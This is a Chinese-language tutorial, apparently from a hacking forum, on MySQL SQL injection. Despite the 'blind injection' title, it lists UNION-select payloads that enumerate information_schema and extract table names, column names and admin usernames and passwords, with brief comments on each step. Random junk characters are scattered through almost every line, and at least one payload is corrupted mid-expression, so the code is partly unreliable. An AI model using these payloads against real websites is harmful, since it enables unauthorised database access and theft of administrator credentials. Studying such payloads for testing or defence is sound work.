本文介绍MYSQL盲注的一些语句和方法; ^8 E, N3 O! l! w [
v( G% j. w+ y
学习盲注前先了解下 IFORMATION_SCHEMA 库" g0 W; | t) v) R( v! P _2 S3 B
5 w g5 ?$ C/ x6 z+ @4 g9 `
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
& e7 o: a( v1 d" j4 W1 e+ P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。: C, O: |% w0 m* b' L0 ~6 z
1.得到所有数据库名:+ |6 q: `' P w) r2 ^! X
|SCHEMATA ->存储数据库名的表
/ j5 H- M, R$ m6 P|---字段:SCHEMA_NAME ->数据库名称
+ L7 \4 Q8 |0 {7 z$ Q1 s5 H1 t6 a5 _
|TABLES ->存储表名
( D5 u, V: m# O/ U|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名3 w; I0 x9 {3 {. ?6 U+ I: K
|---字段:TABLE_NAME ->存储表的表名# x0 v. c6 `0 D1 I0 W9 ^
( T# t8 [+ i4 a3 L+ D
|COLUMNS ->存储的字段名表4 g7 p; G" q3 A
|---字段:TABLE_SCHEMA ->该字段所属数据库名% C L% B" I* ~3 e
|---字段:TABLE_NAME ->存储所属表的名称
2 ^% y! ?3 V+ ~+ Q: G D
; N8 c" W, L5 s* C/ R$ R* @|---字段:COLUMN_NAME ->该字段的名称
6 J0 X8 {; n Z7 U, D! e% t& E
" ]2 a+ p( s0 ~/ J 0 \4 m9 a2 c& U
. ^, U E& c. A9 _########################################################################### \$ x+ \7 H+ h/ {
4 [5 f7 D4 t9 G. J
0x001 获取系统信息:
# u* t$ L4 a3 m% P4 a
; Q2 X' X" g/ p V. ^union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
. V8 J; |6 ]7 ?1 j9 E4 A3 k& l: X" F. I6 _- D
/*4 h7 j5 z/ j5 J2 Z
$ _% m# O( ?6 c& D& S/ _8 i@@global.version_compile_os 获取系统版本+ J+ o. U& J( g I
1 ~0 ^$ I- b7 |8 B0 y; B@@datadir 数据库路径& q6 B3 X. {, Q. a
database() 当前数据库名称
: B( l D! w, i. `! ~0x3c62723e 换行HEX值
3 |! z+ P3 D$ ^ y1 ^9 R; g
7 _6 \* G; Z% I0 s* ]" R*/
* c: }/ q% `3 B0 N* K: T5 q
& q1 }* }9 S& I2 b0 P$ ?5 } ) d" J9 y8 _! ?0 U) W# c
( o+ A, [0 d2 F6 t6 H( y! N0 ]######################################################################
5 k8 B1 d# v S
! i* {0 v$ {& V) t; b0x002 获取表名* k8 u S1 o: l* O Z
0 p/ T2 P( L" n2 Hunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
+ t- ?1 A4 x* \& Q
' D& }. p$ S, T2 c' w. r: r( z
) A7 y3 a9 E9 p
" o$ H' b" j+ l! W' K/*3 o7 z. C: r$ f8 g1 h. e
1 s% ]( E/ i: \0 Y4 D* ^' L
0x67617264656e 为当前数据库名5 J) M- f; s$ T1 ?3 ^& E9 @( x
9 \! V6 k. L5 f. ygroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
O! w# I+ T% j' u: Q9 S, F; X
4 c! I7 `8 c0 \+ G9 O8 u*/3 o6 w& q. D4 M# ~: ^
' t( o7 K7 U, ~######################################################################
3 q0 M. R% g7 U# P1 B, H2 t& W9 R6 g. v( ]1 G# ]% }
* Q% d/ Y$ w1 Z3 D, q" n. l+ t. m) ^) Z: J
0x003 获取字段
1 z! h& v7 G/ v* M: T
$ J+ y0 q% ^8 M4 Yunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*3 j8 \' d# D6 W$ L
! L0 V- L* f3 m r! y: Y& k4 w/*
: `# O6 P# ^6 R1 ?9 I+ \) s! }* g2 D7 P
, f: v3 m+ c" ?/ G0 T* sgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
2 r% i8 j8 y& H- Y
- c! _% O- _" k1 L! M1 v0 e0x61646d696e ->选择一个表2 H# {- ?& W1 L; X5 `
( q# B$ o/ A# \9 T5 S7 V0x67617264656e ->数据库名
& ]( K5 b. l' F7 ]$ f a9 z/ D" ]( f' e1 O
*/( ~7 _( C* g/ S, O
! w* @5 p: E) y5 h& c- m' G6 N
#####################################################################3 c$ ^: I4 Y1 N; L e2 W
/ R; M* S+ z4 l; W/ l5 | 8 T7 R* l1 t, g$ ?8 Y( a9 _
# D7 x9 v: f8 x. Q0x004 获取数据
$ P8 C6 F4 f9 W8 |" P& q- \
1 b! w2 ]- X: ~- A* ~6 ?$ D! xunion select 1,2,3
9 |) y) r0 W+ L2 k* x9 S4 c( b* q9 x,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
0 Y; d F* i8 y2 D G, _# u0 o1 I( ~6 Z* J7 h$ W' F# y
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin/ y' n6 I* y0 V7 G% s
( n. U F/ t" D: ? # q& c) v# V6 l
; d# E9 f+ \7 T/ G& D3 t b
/*
7 h# y; W% H r% W; _7 o3 Y. `% S4 `" K; a8 h5 p1 ^
0x3c62723e 换行符号HEX编码' V: x, v( L) v7 r: C* z3 u
+ ~( q8 V% _: h* G; f/ T5 ?) i. {% A
group_concat 同时获得该字段所有数据
) k0 n$ k5 Q2 {+ }! @9 c2 `( Q) L, A- ?
*/; u+ m4 a* k( F, C- \9 o
$ H2 D5 y% e) N3 f `9 w- X |